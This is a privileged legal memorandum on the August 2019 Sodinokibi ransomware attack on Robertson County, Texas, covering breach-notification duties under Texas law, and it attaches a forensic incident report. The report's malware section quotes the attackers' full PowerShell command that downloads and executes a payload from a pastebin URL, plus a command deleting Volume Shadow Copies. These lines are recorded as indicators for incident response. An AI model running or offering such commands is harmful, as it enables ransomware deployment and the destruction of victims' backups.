# MEMORANDUM

CARRINGTON COLEMAN

***ATTORNEY-CLIENT AND WORK-PRODUCT PRIVILEGED***

**TO:** Robertson County Sheriff's Office (cc: Texas Association of Counties)

**FROM:** Sara Romine

**DATE:** October 23, 2019

**RE:** Robertson County Cyber-Incident (TAC Claim # PO20196867-1)

## I. Overview of Engagement & Scope of Inquiry

On August 16, 2019, Robertson County, acting through its insurance provider, the Texas Association of Counties, engaged Carrington Coleman to conduct an investigation into a ransomware attack that affected numerous Texas local governmental entities. Carrington Coleman's mandate was to determine the scope and cause of the incident and the extent to which Robertson County is required to provide breach notification to affected individuals. This memorandum summarizes our findings and recommendations. The findings rely heavily on the forensic work done by Sylint Group, a forensics vendor engaged by Carrington Coleman to assist in our investigation, as well as interviews with key Robertson County personnel.

## II. Summary

In the early morning hours of August 16, 2019, Robertson County experienced a ransomware attack, which impacted data stored on approximately nine systems in the Robertson County network. A forensics investigation identified the malware strain as "Sodinokibi" ransomware. The malware was introduced to the Robertson County network through ScreenConnect applications installed and used by Robertson County's information technology vendor, TSM Consulting Services, Inc. The attackers issued a remote command from the ScreenConnect console to download encrypting malware from a third-party website—a "file-less" form of malware dissemination. As a result of the remote command, files stored in various parts of the Robertson County network were encrypted.

There is no indication the malware impacted any personally-identifiable information, sensitive-personal information, or protected-health information. Nor was there any indication that the attackers utilized any data collection tools or other mechanisms commonly used to exfiltrate data from the network. Indeed, Sylint indicated that, to its knowledge, the Sodinokibi ransomware executes an entirely automated process that does not involve accessing file contents or acquiring user data. As a result, there is no reason to believe any data breach notification requirements were triggered by the August 16, 2019 ransomware incident. Nonetheless, in an abundance of caution, Robertson County should consider voluntarily publishing a notice to the public on its external website.

## III. Factual Background

On the morning of August 16, 2019, a Robertson County employee reported that she could not access files on the shared L: drive. Robertson County reached out to its IT vendor, TSM, and spoke with Robby Pleasant, a sales and technical manager at TSM, who relayed that TSM had been "hacked." Robertson County immediately began pulling its computers and servers offline. It also contacted its insurer, the Texas Association of Counties ("TAC"), and filed a claim pursuant to its cyber-liability insurance policy. TAC, in turn, reached out to Carrington Coleman about representing Robertson County pursuant to the insurance policy.

Upon being engaged by Robertson County and TAC, Carrington Coleman contacted TSM about the incident. TSM stated that, because a large number of Texas local governmental entities had been impacted by the ransomware attack, it was directing all communications to Andy Bennett, the Chief Information Security Officer with the Texas Department of Information Resources ("DIR"). Around that same time, the State of Texas, acting through the Texas Department of Public Safety and the Texas Division of Emergency Management, activated its State Operations Center ("SOC") to oversee the response to the cyber-incident and assist impacted jurisdictions. The Federal Bureau of Investigation ("FBI"), operating largely through its Dallas office, also opened an investigation and began assigning agents to impacted jurisdictions to obtain information and forensic images of impacted systems.

On Sunday, August 18, 2019, DIR and SOC deployed an individual from the Texas A&M University System's Security Operations Center/Critical Incident Response Team to Robertson County. The individual, Barbara Gallaway, deployed *Endgame*, an endpoint monitoring agent in "detect mode" to identify any ongoing threats to the Robertson County network. Working alongside Jake Simpson of Sylint, Ms. Gallaway also took steps to ensure that ScreenConnect agents were removed from all machines in Robertson County's environment. Sylint subsequently took forensic images of impacted systems to analyze for purposes of assisting Carrington Coleman with its investigation.

During the course of Carrington Coleman's investigation, the FBI, DIR, and SOC requested that impacted jurisdictions refrain from sharing specific information regarding the incident with the general public and limit disclosure of information to only certain designated persons and entities. These instructions were given verbally with the indication that sharing information could compromise the ongoing investigation and cause additional jurisdictions to be impacted by the attack. According to the FBI and SOC, the ransomware attack was caused by a single threat actor, which exploited the same vulnerability in the ScreenConnect tool to deploy ransomware to twenty-two different local governmental entities. At this time, the identity of the attackers remains unknown and there is no readily-available decryption key.

## IV. Forensic Analysis

To assist Carrington Coleman with its legal analysis, Sylint conducted a forensic investigation to independently determine both the cause and extent of the attack on Robertson County. A copy of Sylint's forensic report is attached as Exhibit A to this memorandum. In short, Sylint confirmed that the ransomware was spread through the ScreenConnect tool installed and used by TSM on Robertson County's system. Sylint's forensic analysis did not reveal any indication that the attackers accessed file contents or acquired any data prior to encryption. Likewise, there is no indication that any personally-identifiable information, sensitive-personal information, or protected-health information was impacted by the encryption process. The attack was executed in a matter of minutes and its impact on Robertson County was relatively limited, particularly in comparison to other impacted jurisdictions. Finally, Robertson County officials have confirmed that the information encrypted did not contain sensitive-personal information or personally-identifiable information or protected-health information.

## V. Legal Analysis of Reporting Requirements and Potential Liability

There is no overarching federal data privacy or security law in the United States. Instead, the legal landscape is largely composed of a patchwork of varying state laws imposing different data breach notification rules. The application of those laws often turns on the location of the impacted individuals, rather than the location of the entity suffering the cyber-attack. Here, at the instruction of TAC (and in the absence of any indication the ransomware attack impacted citizens of other states), our legal analysis focuses only on Texas law and, specifically, the Texas Identity Theft Enforcement and Protection Act ("ITEPA").[1] *See* TEX. BUS. & COM. CODE §§ 521.001-.152.

Because the August 16, 2019 ransomware attack did not involve the acquisition of sensitive-personal information, personally-identifiable information, or protected-health information, Robertson County is not obligated to provide notification of the incident. Further, even if the ransomware attack could be considered a data security breach under Texas law, Robertson County likely enjoys immunity from suits for monetary damages under Texas law. Thus, it is unlikely that Robertson County faces potential monetary liability resulting from the incident. Instead, Robertson County's exposure is primarily related to satisfying the breach notification requirements of Texas law.

### *A. The Texas Identity Theft Enforcement and Protection Act and the Texas Local Government Code Only Impose Notification Obligations in the Event of Certain Types of Data Breaches.*

As a general matter, ITEPA imposes cybersecurity obligations and notice requirements following a breach of a security system that results in the unauthorized acquisition of computerized

[1] There are other Texas statutes that apply to the protection and disclosure of certain personally-identifiable information. *See e.g.* TEX. BUS. & COM. CODE § 324.051 (Consumer Protection Against Computer Spyware); TEX. HEALTH & SAFETY CODE § 181.001(b). The analysis below, however, applies equally to each statute as there is no indication protected information was accessed or acquired.

data. The ITEPA is Texas's primary statute addressing the protection of personal information and what must occur in the event of a breach of a covered entity's security system. In relevant part, § 521.053(a) defines "breach of security system" to mean "unauthorized acquisition of computerized data that compromises the security, confidentiality, or integrity of sensitive personal information maintained by a person, including data that is encrypted if the person accessing the data has the key required to decrypt the data." Section 521.053(b), in turn, provides that, "A person who conducts business in this state and owns or licenses computerized data that includes sensitive personal information shall disclose any breach of system security, after discovering or receiving notification of the breach, to any individual whose sensitive personal information was, or is reasonably believed to have been, acquired by an unauthorized person." If the notice provision is triggered, the ITEPA details the ways in which an impacted entity may give notice to affected individuals. *See* TEX. BUS. & COM. CODE § 521.023(e). Among other things, if the breached entity does not have sufficient contact information for the affected individuals, the ITEPA provides that notice may be given by email, conspicuous posting of the notice on its website, or published in or broadcasted on major statewide media. *Id.* at § 521.023(f).

On its face, the ITEPA does not apply to governmental entities. Rather, it applies only to "persons" and "businesses," which are not explicitly defined to include governmental entities. However, the Texas Local Government Code requires counties to comply with certain provisions of the Act. Specifically, counties are required to comply with ITEPA's general breach notification requirements. *See* TEX. LOCAL GOV'T CODE §§ 205.010, 201.003(7). Section 205.010 of the Local Government Code regulates security breaches in counties. This statute defines "breach of system security" and "sensitive personal information" in the same way the ITEPA does. *Id.* § 205.010(a). The law states that any local government "that owns, licenses, or maintains computerized data that includes sensitive personal information shall comply, in the event of a breach of system security, *with the notification requirements* of Section 521.053 [of the ITEPA], to the same extent as a person who conducts business in this state." *Id.* § 205.010(b) (emphasis added).

Significantly, however, the Local Government Code does not include any civil remedies or penalty provisions for violations of the ITEPA's breach notification requirement. Additionally, the Local Government Code does not incorporate the ITEPA's enforcement and remedy provision, which is codified separately from the ITEPA's notification provision. *See* TEX. BUS. & COM. CODE §§ 521.053, 521.151. This alone suggests the Legislature intended only to incorporate the notification requirements and not the civil penalty provision. As a result, Texas law likely applies only the breach-notification aspect of the ITEPA to Robertson County.

### B. *Even if the ITEPA Applied in Full, Robertson County Would Likely Enjoy Immunity In the Event of a Lawsuit for Civil Penalties.*

Generally, counties enjoy governmental immunity from both suit and liability. The Texas Legislature may waive a county's immunity, but such waiver must be clear and unambiguous. Because no relevant Texas law, including the ITEPA, explicitly waives governmental immunity, it is unlikely that a Texas county could be held liable for any damages resulting from the breach of the data privacy laws. Indeed, the ITEPA itself makes no mention of governmental immunity or its application to governmental agencies. *See* TEX. BUS. & COM. CODE §§ 521.001-.152.

Likewise, with respect to the Local Government Code, neither § 205.010 nor its corresponding chapter includes a provision for waiver of governmental immunity. *See* TEX. LOCAL GOV'T CODE Ch. 205. As previously mentioned, Texas law requires a waiver of immunity to be clear and unambiguous. TEX. GOV'T CODE § 311.034. Like the ITEPA, the Local Government ITEPA provision does not mention immunity, require the government agency to be joined in a suit (or even mention suits), or provide guidelines for a governmental agency's liability. Any ambiguity as to waiver is resolved in the favor of immunity. *City of Hous. v. Hous. Municipal Emps. Pension Sys.*, 549 S.W.3d 566, 844 (Tex. 2018).

Thus, Robertson County would have a reasonable argument that it enjoys immunity from suits, including by the attorney general, to recover civil penalties flowing from a data-breach incident. But there is some chance the attorney general could obtain an injunction requiring Robertson County to provide notification of a covered data-breach incident to affected individuals.

### *C. Application of the ITEPA to the August 16 Ransomware Attack*

Sylint's forensic analysis strongly suggests that no sensitive-personal or personally-identifiable information was acquired or accessed during the execution of the malware attack. Likewise, there is no indication that any protected-health information was accessed or acquired. Indeed, the forensic analysis and our interviews with Robertson County personnel indicates the impacted information was limited to county forms and templates, rather than files or information concerning specific individuals. As a result, Robertson County can likely conclude that a "breach of security system," within the meaning of the ITEPA and the Texas Local Government Code did not occur and no notification requirement is triggered.

## VI. Next Steps

As set forth above, the notification requirement of the ITEPA is only triggered if Robertson County discovers or receives notice that an individual's sensitive personal information was, or is reasonably believed to have been, acquired by an unauthorized person. Although there is no basis to conclude that the August 16 ransomware attack resulted in the acquisition of individuals' sensitive-personal information, there are good reasons why Robertson County should consider voluntarily posting a public notice regarding the cyber-incident on its website. The attack yielded substantial attention in the national media, including the New York Times and Wall Street Journal. The general public may have questions regarding the scope of the attack, whether it involved sensitive personal information, and what to do if they have concerns. Posting a public notice may help address any concerns, and thus mitigate the likelihood of a frivolous lawsuit. Further, posting a public notice demonstrates leadership and transparency in responding to cyber-incidents. Of course, before posting any notice, Robertson County may wish to confer with the FBI and DIR to ensure that the dissemination of any information does not compromise the ongoing investigation. A draft notice is supplied below.

Further, Robertson County should consider taking legal action against TSM for breach of its service contract. Robertson County entered into a contract with TSM, whereby TSM agreed to manage Robertson County's network and servers, including "remote management of all network switches, routers and firewall" and providing "recommendations of [c]entrally controlled Anti-Virus/Malware solutions." A copy of Robertson County's contract with TSM is attached as Exhibit B to this memorandum. Although Robertson County has not yet had the opportunity to obtain information about what controls TSM had in place, or failed to have in place, to prevent this attack, Robertson County likely has a strong argument that TSM breached its contract by failing to adequately manage the Robertson County network and firewalls. In such an action, Robertson County's damages are not limited to the amount of its deductible under the insurance policy, and could include costs incurred remediating the incident, as well as its attorneys' fees incurred in pursuing the breach of contract claim. Because the contract between Robertson County and TSM does not contain a venue provision, Robertson County could also pursue the legal action in Robertson County, where the incident occurred.

## V. Draft Notice for Robertson County's Website

**IMPORTANT NOTICE REGARDING RANSOMWARE ATTACK ON ROBERTSON COUNTY**

On August 16, 2019, the Robertson County Sheriff's Office was the victim of a ransomware attack, which resulted in the encryption of data on certain systems within the Sheriff's Office. There is no indication the attack impacted any personally-identifiable information, sensitive-personal information, or protected-health information. Nor was there any indication that the attackers utilized any data collection tools or other mechanisms commonly used to remove data from the network. Robertson County has reported the incident to appropriate law enforcement authorities for further investigation and continues to work cooperatively with law enforcement officials to bring the attackers to justice. Robertson County has rebuilt its systems from the available back-ups and is working to improve its network security to prevent future incidents from occurring. If you have any questions regarding the incident, please contact _________ at _________ or _________.

# Sylint

## Robertson County, Texas

### Incident Report – October 15, 2019

Information contained in the following pages should be deemed sensitive and any distribution should be handled accordingly. Sylint's evaluation and recommendations are based on available information at the time of the report and may be subject to modification or change based on new or further details unavailable at this time, or additional analysis of existing data. Please address any questions or comments through appropriate onsite personnel or directly to Sylint.

**Jake Simpson**

240 North Washington Blvd, Sixth Floor | Sarasota, FL 34236 USA | 941.951.6015 | FL PI Lic A2900240

EXHIBIT "A"

# Robertson County, Texas Incident Report

| | | | |
|---|---|---|---|
| **Incident Title & Case#** | Robertson County Ransomware / CARR-190197 | **Date** | **2019-10-15** |

**Summary**

**Background**

On August 20, 2019, Carrington, Coleman, Slowman and Blumenthal LLP (Counsel) retained Sylint on behalf of Robertson County, Texas (Robertson) to assist in the investigation of an incident involving encrypting malware (ransomware) self-identified in the Robertson network environment. The objectives of the engagement were to:

- determine initial attack vector(s) and provide containment support via Texas A&M,
- interface with the attackers if/as necessary, and
- determine, to the extent possible, what data (if any) was accessed or exfiltrated by the attacker(s).

**Initial Response & Containment**

Sylint collaborated with the Robertson team and reviewed device log files on identified endpoints to determine scope and initial Indicators of Compromise (IoCs). Logs provided evidence of network connections from machines internal to the Robertson environment. The suspect devices responsible for the network connections were forensically imaged and reviewed in further detail.

For initial containment, the Robertson team, assisted by Texas A&M, deployed *Endgame,* an endpoint monitoring, and Anti-Virus agent provided by the Texas A&M Security Operations Center. ScreenConnect agents were removed from all machines within the environment and firewall level changes were made to limit access to the known malware data streams. Sylint understands that Robertson rebuilt impacted devices and restored necessary agency files from available backups. No ransom was paid in this event.

**Investigation**

Sylint performed an initial forensic review of the collected devices, RC-GUARD1, RCSO-SVR, and RCSO-DT2. Sylint analysis determined the ScreenConnect applications installed on the collected machines to be the conduit which allowed for the execution of the Sodinokibi ransomware. The ScreenConnect application was installed as a management tool by Robertson's third-party IT provider. A remote command was passed from the IT provider's ScreenConnect console to download encrypting malware from *Pastebin*[1] and execute said malware. The malware is completely file-less and runs in memory on impacted devices via PowerShell.

Through further examination of available data, Sylint did not identify indications of data collection or staging, or any malicious collection tools that might be representative of unauthorized data exfiltration activity during this event. The strain of malware executes an automated process and has not been reported to access file contents nor exfiltrate any user data. All indications are that the incident was limited to data denial through encrypting malware.

[1] Pastebin – https://pastebin.com - is a text and file sharing website.

## Investigation Team

| | Name | Email |
|---|---|---|
| Client | Karen Box | karen.box@sheriff.co.robertson.tx.us |
| Counsel | Sara Romine | sromine@ccsb.com |
| Sylint | Jake Simpson | jsimpson@usinfosec.com |

## Incident

| | | |
|---|---|---|
| Evidence of an incident? | ☒ Yes ☐ No **Method of Identification:** Self-identified through ransom notes on systems | |
| Dates (YYYY-MM-DD) | First Intrusion: **2019-08-16** | Detection: **2019-08-16** |
| | Sylint Engagement: **2019-08-17** | Containment: **2019-08-20** |
| | | |
| Data Impacted | ☐ Personally Identifiable Info (PII) | ☐ Protected Health Info |
| | ☐ Payment Card Info | ☒ Organization Data |
| Reported to Law Enforcement | ☒ Yes ☐ No<br>Date: **2019-08-19** | Contact Info: Joshua Jacobs – Dallas FBI |
| Attack Summary | Third-Party IT tools installed on the Robertson network allowed attackers to pass a remote command to execute encrypting malware. | |
| Status | ☒ Resolved | ☐ Mitigated w/ Residual Risk |
| | ☐ At Risk | ☐ Other: |

## Timeline of Events

| Date / Time (UTC) | Activity |
|---|---|
| 2019-08-16 / 06:52:41 | run.cmd received from ScreenConnect console on RC-Guard1 |
| 2019-08-16 / 06:52:41 | PowerShell.exe executes on RC-Guard1 |
| 2019-08-16 / 06:52:42 | PowerShell.evtx records execution details (see Malware section for details) on RC-Guard1 |
| 2019-08-16 / 06:52:57 | PowerShell.evtx records Volume Shadow Copy deletion on RC-Guard1 |
| 2019-08-16 / 06:54:23 | run.cmd received from ScreenConnect console on RCSO-DT2 & RCSO-SVR |
| 2019-08-16 / 06:54:23 | PowerShell.exe executes on RCSO-DT2 & RCSO-SVR |
| 2019-08-16 / 06:54:23 | PowerShell.evtx records execution details (see Malware section for details) on RCSO-DT2 |
| 2019-08-16 / 06:54:29 | PowerShell.evtx records Volume Shadow Copy deletion on RCSO-DT2 |
| 2019-08-16 / 06:55:30 | First ransom note is created on RCSO-DT2 |
| 2019-08-16 / 07:00:03 | First ransom note is created on RCSO-SVR |
| 2019-08-16 / 07:00:48 | First ransom note is created on RC-Guard1 |

## Impacted Data Summary

| | |
|---|---|
| Identified Data Accessed by Unauthorized Users | Attacker deployed automated malware that encrypted agency files on systems throughout the Robertson environment. |
| Identified Data Transferred Off Network | Sylint's forensic analysis of the available artifacts on RCSO-DT2, RCSO-SVR, and RC-Guard1 did not identify evidence of tools or techniques commonly used for data exfiltration. This strain of malware executes an automated process and is not known to access file contents nor exfiltrate user data. |

| | |
|---|---|
| Identified Data Deletion / Integrity Compromise | The encrypting malware encrypted data stored on approximately 9 systems. Sylint understands that Robertson rebuilt impacted devices and restored necessary agency files from available backups. |

| **Identified Compromised Systems (attach separate spreadsheet if necessary)** | |
|---|---|
| Host Name | Functionality |
| RCSO-DT2 | Dispatcher station |
| RCSO-SVR | Primary server hosting working documents |
| RC-Guard1 | Virtual server hosting application for internal Jail systems |
| RCSO-CAD | Computer Aided Dispatch (CAD) system |
| JAILADMIN-TIF | User Workstation |
| RCSOJAILADMIN14 | User Workstation |
| RobertsonCoDME | User Workstation |
| Angie2014 | User Workstation |
| ControlRoom | User Workstation |

| **Malware** | | |
|---|---|---|
| **Description / Family:** | Sodinokibi Ransomware | |
| **File Name** | **File Type** | **File Size** |
| N/A | File-less | |
| **Domain Name** | **IP Address(es)** | **Email Address(es)** |
| hxxps://pastebin.com/raw/RE3DuZUJ | | |
| **Hash(es)** | | |
| **Date of Identification** | **Other Information** | |
| 2019-09-04 | Full command to download encrypting malware: If($ENV:PROCESSOR_ARCHITECTURE -contains 'AMD64'){ Start-Process -FilePath "$Env:WINDIR\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -argument "IEX ((new-object net.webclient).downloadstring('https://pastebin.com/raw/RE3DuZUJ'));Invoke-PGWYEJ;Start-Sleep -s 1000000;"}else{ IEX ((new-object net.webclient).downloadstring('https://pastebin.com/raw/RE3DuZUJ'));Invoke-PGWYEJ;Start-Sleep -s 1000000; }<br>Full command to delete Volume Shadow Copies: Get-WmiObject Win32_Shadowcopy \| ForEach-Object {$_.Delete();} | |

[END OF REPORT]